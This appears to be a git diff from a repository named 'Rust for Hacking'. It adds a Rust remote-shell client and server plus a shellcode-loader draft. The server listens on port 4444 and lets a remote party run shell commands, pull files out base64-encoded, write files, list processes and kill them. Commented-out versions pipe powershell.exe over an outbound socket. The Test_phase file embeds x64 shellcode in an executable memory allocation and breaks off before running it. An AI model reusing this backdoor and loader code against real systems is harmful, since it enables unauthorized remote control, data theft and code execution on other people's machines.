+++ b/Rust for Hacking/Reverse Shell/rev_receive/src/main.rs
@@ -0,0 +1,42 @@
+use tokio::net::TcpStream;
+use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader, BufWriter};
+use std::error::Error;
+
+
+#[tokio::main]
+async fn main() -> Result<(), Box<dyn Error + Send + Sync>> {
+ let stream = TcpStream::connect("127.0.0.1:4444").await?;
+ let (reader, writer) = stream.into_split();
+ let mut reader = BufReader::new(reader);
+ let mut writer = BufWriter::new(writer);
+
+ tokio::spawn(async move {
+ let stdin = tokio::io::stdin();
+ let mut stdin_reader = BufReader::new(stdin);
+
+ loop {
+ let mut command = String::new();
+ stdin_reader.read_line(&mut command).await.expect("Failed to read from stdin");
+ writer.write_all(command.as_bytes()).await.expect("Failed to write to server");
+ writer.flush().await.expect("Failed to flush writer");
+
+ if command.trim().starts_with("upload ") {
+ let mut file_content = String::new();
+ stdin_reader.read_line(&mut file_content).await.expect("Failed to read file content from stdin");
+ writer.write_all(file_content.as_bytes()).await.expect("Failed to write file content to server");
+ writer.flush().await.expect("Failed to flush writer");
+ }
+ }
+ });
+
+ loop {
+ let mut response = String::new();
+ let bytes_read = reader.read_line(&mut response).await?;
+ if bytes_read == 0 {
+ break;
+ }
+ print!("{}", response);
+ }
+
+ Ok(())
+}
diff --git a/Rust for Hacking/Reverse Shell/rev_shell/.gitignore b/Rust for Hacking/Reverse Shell/rev_shell/.gitignore
new file mode 100644
index 0000000..ea8c4bf
--- /dev/null
+++ b/Rust for Hacking/Reverse Shell/rev_shell/.gitignore
@@ -0,0 +1 @@
+/target
diff --git a/Rust for Hacking/Reverse Shell/rev_shell/Cargo.lock b/Rust for Hacking/Reverse Shell/rev_shell/Cargo.lock
new file mode 100644
index 0000000..06d1e5b
--- /dev/null
+++ b/Rust for Hacking/Reverse Shell/rev_shell/Cargo.lock
@@ -0,0 +1,435 @@
+# This file is automatically @generated by Cargo.
+# It is not intended for manual editing.
+version = 3
+
+[[package]]
+name = "addr2line"
+version = "0.21.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8a30b2e23b9e17a9f90641c7ab1549cd9b44f296d3ccbf309d2863cfe398a0cb"
+dependencies = [
+ "gimli",
+]
+
+[[package]]
+name = "adler"
+version = "1.0.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe"
+
+[[package]]
+name = "autocfg"
+version = "1.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0c4b4d0bd25bd0b74681c0ad21497610ce1b7c91b1022cd21c80c6fbdd9476b0"
+
+[[package]]
+name = "backtrace"
+version = "0.3.71"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "26b05800d2e817c8b3b4b54abd461726265fa9789ae34330622f2db9ee696f9d"
+dependencies = [
+ "addr2line",
+ "cc",
+ "cfg-if",
+ "libc",
+ "miniz_oxide",
+ "object",
+ "rustc-demangle",
+]
+
+[[package]]
+name = "base64"
+version = "0.22.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
+
+[[package]]
+name = "bitflags"
+version = "1.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
+
+[[package]]
+name = "bytes"
+version = "1.6.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "514de17de45fdb8dc022b1a7975556c53c86f9f0aa5f534b98977b171857c2c9"
+
+[[package]]
+name = "cc"
+version = "1.0.97"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "099a5357d84c4c61eb35fc8eafa9a79a902c2f76911e5747ced4e032edd8d9b4"
+
+[[package]]
+name = "cfg-if"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
+
+[[package]]
+name = "gimli"
+version = "0.28.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253"
+
+[[package]]
+name = "hermit-abi"
+version = "0.3.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d231dfb89cfffdbc30e7fc41579ed6066ad03abda9e567ccafae602b97ec5024"
+
+[[package]]
+name = "libc"
+version = "0.2.155"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "97b3888a4aecf77e811145cadf6eef5901f4782c53886191b2f693f24761847c"
+
+[[package]]
+name = "lock_api"
+version = "0.4.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45"
+dependencies = [
+ "autocfg",
+ "scopeguard",
+]
+
+[[package]]
+name = "memchr"
+version = "2.7.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6c8640c5d730cb13ebd907d8d04b52f55ac9a2eec55b440c8892f40d56c76c1d"
+
+[[package]]
+name = "miniz_oxide"
+version = "0.7.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "87dfd01fe195c66b572b37921ad8803d010623c0aca821bea2302239d155cdae"
+dependencies = [
+ "adler",
+]
+
+[[package]]
+name = "mio"
+version = "0.8.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a4a650543ca06a924e8b371db273b2756685faae30f8487da1b56505a8f78b0c"
+dependencies = [
+ "libc",
+ "wasi",
+ "windows-sys 0.48.0",
+]
+
+[[package]]
+name = "num_cpus"
+version = "1.16.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43"
+dependencies = [
+ "hermit-abi",
+ "libc",
+]
+
+[[package]]
+name = "object"
+version = "0.32.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a6a622008b6e321afc04970976f62ee297fdbaa6f95318ca343e3eebb9648441"
+dependencies = [
+ "memchr",
+]
+
+[[package]]
+name = "parking_lot"
+version = "0.12.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f"
+dependencies = [
+ "lock_api",
+ "parking_lot_core",
+]
+
+[[package]]
+name = "parking_lot_core"
+version = "0.9.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e"
+dependencies = [
+ "cfg-if",
+ "libc",
+ "redox_syscall",
+ "smallvec",
+ "windows-targets 0.48.5",
+]
+
+[[package]]
+name = "pin-project-lite"
+version = "0.2.14"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bda66fc9667c18cb2758a2ac84d1167245054bcf85d5d1aaa6923f45801bdd02"
+
+[[package]]
+name = "proc-macro2"
+version = "1.0.82"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8ad3d49ab951a01fbaafe34f2ec74122942fe18a3f9814c3268f1bb72042131b"
+dependencies = [
+ "unicode-ident",
+]
+
+[[package]]
+name = "quote"
+version = "1.0.36"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0fa76aaf39101c457836aec0ce2316dbdc3ab723cdda1c6bd4e6ad4208acaca7"
+dependencies = [
+ "proc-macro2",
+]
+
+[[package]]
+name = "redox_syscall"
+version = "0.4.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa"
+dependencies = [
+ "bitflags",
+]
+
+[[package]]
+name = "rev_shell"
+version = "0.1.0"
+dependencies = [
+ "base64",
+ "tokio",
+]
+
+[[package]]
+name = "rustc-demangle"
+version = "0.1.24"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "719b953e2095829ee67db738b3bfa9fa368c94900df327b3f07fe6e794d2fe1f"
+
+[[package]]
+name = "scopeguard"
+version = "1.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
+
+[[package]]
+name = "signal-hook-registry"
+version = "1.4.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d8229b473baa5980ac72ef434c4415e70c4b5e71b423043adb4ba059f89c99a1"
+dependencies = [
+ "libc",
+]
+
+[[package]]
+name = "smallvec"
+version = "1.13.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3c5e1a9a646d36c3599cd173a41282daf47c44583ad367b8e6837255952e5c67"
+
+[[package]]
+name = "socket2"
+version = "0.5.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "05ffd9c0a93b7543e062e759284fcf5f5e3b098501104bfbdde4d404db792871"
+dependencies = [
+ "libc",
+ "windows-sys 0.52.0",
+]
+
+[[package]]
+name = "syn"
+version = "2.0.64"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7ad3dee41f36859875573074334c200d1add8e4a87bb37113ebd31d926b7b11f"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "unicode-ident",
+]
+
+[[package]]
+name = "tokio"
+version = "1.37.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1adbebffeca75fcfd058afa480fb6c0b81e165a0323f9c9d39c9697e37c46787"
+dependencies = [
+ "backtrace",
+ "bytes",
+ "libc",
+ "mio",
+ "num_cpus",
+ "parking_lot",
+ "pin-project-lite",
+ "signal-hook-registry",
+ "socket2",
+ "tokio-macros",
+ "windows-sys 0.48.0",
+]
+
+[[package]]
+name = "tokio-macros"
+version = "2.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn",
+]
+
+[[package]]
+name = "unicode-ident"
+version = "1.0.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b"
+
+[[package]]
+name = "wasi"
+version = "0.11.0+wasi-snapshot-preview1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
+
+[[package]]
+name = "windows-sys"
+version = "0.48.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
+dependencies = [
+ "windows-targets 0.48.5",
+]
+
+[[package]]
+name = "windows-sys"
+version = "0.52.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
+dependencies = [
+ "windows-targets 0.52.5",
+]
+
+[[package]]
+name = "windows-targets"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c"
+dependencies = [
+ "windows_aarch64_gnullvm 0.48.5",
+ "windows_aarch64_msvc 0.48.5",
+ "windows_i686_gnu 0.48.5",
+ "windows_i686_msvc 0.48.5",
+ "windows_x86_64_gnu 0.48.5",
+ "windows_x86_64_gnullvm 0.48.5",
+ "windows_x86_64_msvc 0.48.5",
+]
+
+[[package]]
+name = "windows-targets"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6f0713a46559409d202e70e28227288446bf7841d3211583a4b53e3f6d96e7eb"
+dependencies = [
+ "windows_aarch64_gnullvm 0.52.5",
+ "windows_aarch64_msvc 0.52.5",
+ "windows_i686_gnu 0.52.5",
+ "windows_i686_gnullvm",
+ "windows_i686_msvc 0.52.5",
+ "windows_x86_64_gnu 0.52.5",
+ "windows_x86_64_gnullvm 0.52.5",
+ "windows_x86_64_msvc 0.52.5",
+]
+
+[[package]]
+name = "windows_aarch64_gnullvm"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8"
+
+[[package]]
+name = "windows_aarch64_gnullvm"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7088eed71e8b8dda258ecc8bac5fb1153c5cffaf2578fc8ff5d61e23578d3263"
+
+[[package]]
+name = "windows_aarch64_msvc"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc"
+
+[[package]]
+name = "windows_aarch64_msvc"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9985fd1504e250c615ca5f281c3f7a6da76213ebd5ccc9561496568a2752afb6"
+
+[[package]]
+name = "windows_i686_gnu"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e"
+
+[[package]]
+name = "windows_i686_gnu"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "88ba073cf16d5372720ec942a8ccbf61626074c6d4dd2e745299726ce8b89670"
+
+[[package]]
+name = "windows_i686_gnullvm"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "87f4261229030a858f36b459e748ae97545d6f1ec60e5e0d6a3d32e0dc232ee9"
+
+[[package]]
+name = "windows_i686_msvc"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406"
+
+[[package]]
+name = "windows_i686_msvc"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "db3c2bf3d13d5b658be73463284eaf12830ac9a26a90c717b7f771dfe97487bf"
+
+[[package]]
+name = "windows_x86_64_gnu"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e"
+
+[[package]]
+name = "windows_x86_64_gnu"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4e4246f76bdeff09eb48875a0fd3e2af6aada79d409d33011886d3e1581517d9"
+
+[[package]]
+name = "windows_x86_64_gnullvm"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc"
+
+[[package]]
+name = "windows_x86_64_gnullvm"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "852298e482cd67c356ddd9570386e2862b5673c85bd5f88df9ab6802b334c596"
+
+[[package]]
+name = "windows_x86_64_msvc"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538"
+
+[[package]]
+name = "windows_x86_64_msvc"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bec47e5bfd1bff0eeaf6d8b485cc1074891a197ab4225d504cb7a1ab88b02bf0"
diff --git a/Rust for Hacking/Reverse Shell/rev_shell/Cargo.toml b/Rust for Hacking/Reverse Shell/rev_shell/Cargo.toml
new file mode 100644
index 0000000..f32d766
--- /dev/null
+++ b/Rust for Hacking/Reverse Shell/rev_shell/Cargo.toml
@@ -0,0 +1,10 @@
+[package]
+name = "rev_shell"
+version = "0.1.0"
+edition = "2021"
+
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+
+[dependencies]
+base64 = "0.22.1"
+tokio = { version = "1.37.0" , features = ["full"] }
diff --git a/Rust for Hacking/Reverse Shell/rev_shell/src/main.rs b/Rust for Hacking/Reverse Shell/rev_shell/src/main.rs
new file mode 100644
index 0000000..ecb51e7
--- /dev/null
+++ b/Rust for Hacking/Reverse Shell/rev_shell/src/main.rs
@@ -0,0 +1,291 @@
+// use std::process::{Command, Stdio};
+// use std::io::{Read, Write};
+// use std::error::Error;
+// use tokio::net::TcpStream;
+// use tokio::io::{AsyncReadExt, AsyncWriteExt};
+
+// #[tokio::main]
+// async fn main() -> Result<(), Box<dyn Error>>{
+// let ip = "127.0.0.1".to_string();
+// let port = 4444.to_string();
+
+// shell(ip, port).await?;
+// Ok(())
+// }
+
+// async fn shell(ip: String, port: String) -> Result<() , Box<dyn Error>>{
+// let home = format!("{}:{}", ip,port);
+// rev(home).await
+// }
+
+
+// async fn rev(home: String) -> Result<(), Box<dyn Error>> {
+// let mut s = TcpStream::connect(&home).await?;
+
+// loop {
+// // Open shell
+// let mut process = Command::new("powershell.exe")
+// .stdin(Stdio::piped())
+// .stdout(Stdio::piped())
+// .stderr(Stdio::piped())
+// .spawn()?;
+
+// if let Some(ref mut stdin) = process.stdin {
+// let mut buf = vec![0; 1024];
+// let n = s.read(&mut buf).await?;
+// stdin.write_all(&buf[..n])?;
+// }
+
+// if let Some(ref mut stdout) = process.stdout {
+// let mut buf = vec![0; 1024];
+// let n = stdout.read(&mut buf)?;
+// s.write_all(&buf[..n]).await?;
+// }
+
+// // Wait for the process to complete and capture the output
+// let output = process.wait_with_output()?;
+// s.write_all(&output.stdout).await?;
+// s.write_all(&output.stderr).await?;
+// }
+// }
+
+
+// use std::process::{Command, Stdio};
+// use std::io::{Write, Read};
+// use std::error::Error;
+// use tokio::net::TcpStream;
+// use tokio::io::{AsyncReadExt, AsyncWriteExt, BufReader};
+
+// #[tokio::main]
+// async fn main() -> Result<(), Box<dyn Error>> {
+// let ip = "127.0.0.1".to_string();
+// let port = "4444".to_string();
+// shell(ip, port).await?;
+// Ok(())
+// }
+
+// async fn shell(ip: String, port: String) -> Result<(), Box<dyn Error>> {
+// let home = format!("{}:{}", ip, port);
+// sh(home).await
+// }
+
+// async fn sh(home: String) -> Result<(), Box<dyn Error>> {
+// let mut s = TcpStream::connect(&home).await?;
+// let mut reader = BufReader::new(s);
+
+// let mut process = Command::new("powershell.exe")
+// .stdin(Stdio::piped())
+// .stdout(Stdio::piped())
+// .stderr(Stdio::piped())
+// .spawn()?;
+
+// let mut stdin = process.stdin.take().expect("Failed to open stdin");
+// let mut stdout = process.stdout.take().expect("Failed to open stdout");
+// let mut stderr = process.stderr.take().expect("Failed to open stderr");
+
+// let mut buffer = vec![0; 1024];
+
+// loop {
+// let n = reader.read(&mut buffer).await?;
+// if n == 0 {
+// break;
+// }
+// stdin.write_all(&buffer[..n])?;
+// stdin.flush()?;
+
+// let n = stdout.read(&mut buffer)?;
+// if n > 0 {
+// reader.get_mut().write_all(&buffer[..n]).await?;
+// }
+
+// let n = stderr.read(&mut buffer)?;
+// if n > 0 {
+// reader.get_mut().write_all(&buffer[..n]).await?;
+// }
+// }
+
+// Ok(())
+// }
+
+// use tokio::net::TcpListener;
+// use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader};
+// use std::error::Error;
+
+// #[tokio::main]
+// async fn main() -> Result<(), Box<dyn Error + Send + Sync>> {
+// let listener = TcpListener::bind("0.0.0.0:4444").await?;
+// println!("Server listening on port 4444");
+
+// loop {
+// let (socket, _) = listener.accept().await?;
+// tokio::spawn(handle_client(socket));
+// }
+// }
+
+// async fn handle_client(socket: tokio::net::TcpStream) -> Result<(), Box<dyn Error + Send + Sync>> {
+// let (reader, mut writer) = socket.into_split();
+// let mut reader = BufReader::new(reader);
+
+// loop {
+// let mut line = String::new();
+// let bytes_read = reader.read_line(&mut line).await?;
+// if bytes_read == 0 {
+// break;
+// }
+// print!("Client: {}", line);
+
+// let output = if cfg!(target_os = "windows") {
+// std::process::Command::new("powershell.exe")
+// .args(&["/C", line.trim()])
+// .output()
+// .expect("failed to execute command")
+// } else {
+// std::process::Command::new("sh")
+// .arg("-c")
+// .arg(line.trim())
+// .output()
+// .expect("failed to execute command")
+// };
+
+// writer.write_all(&output.stdout).await?;
+// writer.write_all(&output.stderr).await?;
+// writer.flush().await?;
+// }
+// Ok(())
+// }
+
+use tokio::net::TcpListener;
+use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader, BufWriter};
+use std::error::Error;
+use std::process::Command;
+use std::fs;
+use std::str::from_utf8;
+use base64::{Engine as _, engine::general_purpose};
+
+#[tokio::main]
+async fn main() -> Result<(), Box<dyn Error + Send + Sync>> {
+ let listener = TcpListener::bind("0.0.0.0:4444").await?;
+ println!("Server listening on port 4444");
+
+ loop {
+ let (socket, _) = listener.accept().await?;
+ tokio::spawn(handle_client(socket));
+ }
+}
+
+async fn handle_client(socket: tokio::net::TcpStream) -> Result<(), Box<dyn Error + Send + Sync>> {
+ let (reader, writer) = socket.into_split();
+ let mut reader = BufReader::new(reader);
+ let mut writer = BufWriter::new(writer);
+
+ loop {
+ let mut command = String::new();
+ let bytes_read = reader.read_line(&mut command).await?;
+ if bytes_read == 0 {
+ break; // Connection closed
+ }
+
+ let response = match command.trim() {
+ cmd if cmd.starts_with("exec ") => exec_command(&cmd[5..]).await,
+ cmd if cmd.starts_with("download ") => download_file(&cmd[9..]).await,
+ cmd if cmd.starts_with("upload ") => upload_file(&cmd[7..], &mut reader).await,
+ cmd if cmd.starts_with("ls ") => list_directory(&cmd[3..]).await,
+ cmd if cmd.starts_with("ps") => list_processes().await,
+ cmd if cmd.starts_with("kill ") => kill_process(&cmd[5..]).await,
+ _ => Err(format!("Unknown command: {}", command.trim())),
+ };
+
+ match response {
+ Ok(output) => {
+ writer.write_all(output.as_bytes()).await?;
+ }
+ Err(e) => {
+ writer.write_all(format!("Error: {}\n", e).as_bytes()).await?;
+ }
+ }
+
+ writer.flush().await?;
+ }
+
+ Ok(())
+}
+
+async fn exec_command(command: &str) -> Result<String, String> {
+ let output = if cfg!(target_os = "windows") {
+ Command::new("cmd")
+ .args(&["/C", command])
+ .output()
+ .map_err(|e| e.to_string())?
+ } else {
+ Command::new("sh")
+ .arg("-c")
+ .arg(command)
+ .output()
+ .map_err(|e| e.to_string())?
+ };
+
+ Ok(format!(
+ "{}{}",
+ from_utf8(&output.stdout).unwrap_or(""),
+ from_utf8(&output.stderr).unwrap_or("")
+ ))
+}
+
+async fn download_file(path: &str) -> Result<String, String> {
+ let contents = fs::read(path).map_err(|e| e.to_string())?;
+ Ok(general_purpose::STANDARD.encode(&contents))
+}
+
+async fn upload_file(path: &str, reader: &mut BufReader<tokio::net::tcp::OwnedReadHalf>) -> Result<String, String> {
+ let mut file_data = String::new();
+ reader.read_line(&mut file_data).await.map_err(|e| e.to_string())?;
+ let decoded = general_purpose::STANDARD.decode(file_data.trim()).map_err(|e| e.to_string())?;
+ fs::write(path, decoded).map_err(|e| e.to_string())?;
+ Ok("File uploaded successfully".to_string())
+}
+
+async fn list_directory(path: &str) -> Result<String, String> {
+ let entries = fs::read_dir(path).map_err(|e| e.to_string())?;
+ let mut result = String::new();
+ for entry in entries {
+ let entry = entry.map_err(|e| e.to_string())?;
+ result.push_str(&format!("{}\n", entry.file_name().to_string_lossy()));
+ }
+ Ok(result)
+}
+
+async fn list_processes() -> Result<String, String> {
+ let output = if cfg!(target_os = "windows") {
+ Command::new("tasklist")
+ .output()
+ .map_err(|e| e.to_string())?
+ } else {
+ Command::new("ps")
+ .arg("aux")
+ .output()
+ .map_err(|e| e.to_string())?
+ };
+
+ Ok(format!(
+ "{}{}",
+ from_utf8(&output.stdout).unwrap_or(""),
+ from_utf8(&output.stderr).unwrap_or("")
+ ))
+}
+
+async fn kill_process(pid: &str) -> Result<String, String> {
+ let pid: u32 = pid.parse().map_err(|e: std::num::ParseIntError| e.to_string())?;
+ if cfg!(target_os = "windows") {
+ Command::new("taskkill")
+ .args(&["/PID", &pid.to_string(), "/F"])
+ .output()
+ .map_err(|e| e.to_string())?;
+ } else {
+ Command::new("kill")
+ .arg("-9")
+ .arg(pid.to_string())
+ .output()
+ .map_err(|e| e.to_string())?;
+ }
+ Ok(format!("Killed process {}", pid))
+}
diff --git a/Rust for Hacking/Test_phase/README.md b/Rust for Hacking/Test_phase/README.md
new file mode 100644
index 0000000..bfe8d39
--- /dev/null
+++ b/Rust for Hacking/Test_phase/README.md
@@ -0,0 +1,7 @@
+## Test_Phase Directory
+
+This dir contains incomplete or non-working code that needs to be tested or Fixed.
+
+This dir also contains my backup codes ie unfinished code, where i will save my remote code and push into my repo ..!
+
+
diff --git a/Rust for Hacking/Test_phase/SymSrvGetFileIndexInfo.rs b/Rust for Hacking/Test_phase/SymSrvGetFileIndexInfo.rs
new file mode 100644
index 0000000..37c52d1
--- /dev/null
+++ b/Rust for Hacking/Test_phase/SymSrvGetFileIndexInfo.rs
@@ -0,0 +1,119 @@
+extern crate winapi;
+
+use std::ffi::CString;
+use std::ptr::null_mut;
+use std::ptr::copy_nonoverlapping;
+use winapi::ctypes::{c_char, c_void};
+use winapi::shared::guiddef::GUID;
+use winapi::shared::minwindef::{BOOL, DWORD};
+use winapi::um::dbghelp::{SymFindFileInPathW, SymInitializeW};
+use winapi::um::memoryapi::VirtualAlloc;
+use winapi::um::processthreadsapi::GetCurrentProcess;
+use winapi::um::winnt::{HANDLE, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE};
+
+#[link(name = "dbghelp")]
+extern "system" {
+ fn SymSrvGetFileIndexInfo(
+ file: *const c_char,
+ info: *mut SYMSRV_INDEX_INFO,
+ flags: u32,
+ ) -> BOOL;
+}
+
+pub unsafe fn sym_srv_get_file_index_info(
+ file: &str,
+ info: *mut SYMSRV_INDEX_INFO,
+ flags: u32,
+) -> Result<(), &'static str> {
+ let file_cstring = CString::new(file).map_err(|_| "Failed to convert file path to CString")?;
+ let result = SymSrvGetFileIndexInfo(file_cstring.as_ptr(), info, flags);
+ if result == 0 {
+ Err("SymSrvGetFileIndexInfo failed")
+ } else {
+ Ok(())
+ }
+}
+
+fn main() {
+ unsafe {
+ let shellcode: [u8; 276] = [
+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
+ ];
+
+ let h_process: HANDLE = GetCurrentProcess();
+
+ let address = VirtualAlloc(
+ null_mut(),
+ shellcode.len(),
+ MEM_RESERVE | MEM_COMMIT,
+ PAGE_EXECUTE_READWRITE,
+ );
+ if address.is_null() {
+ panic!("VirtualAlloc failed");
+ }
+
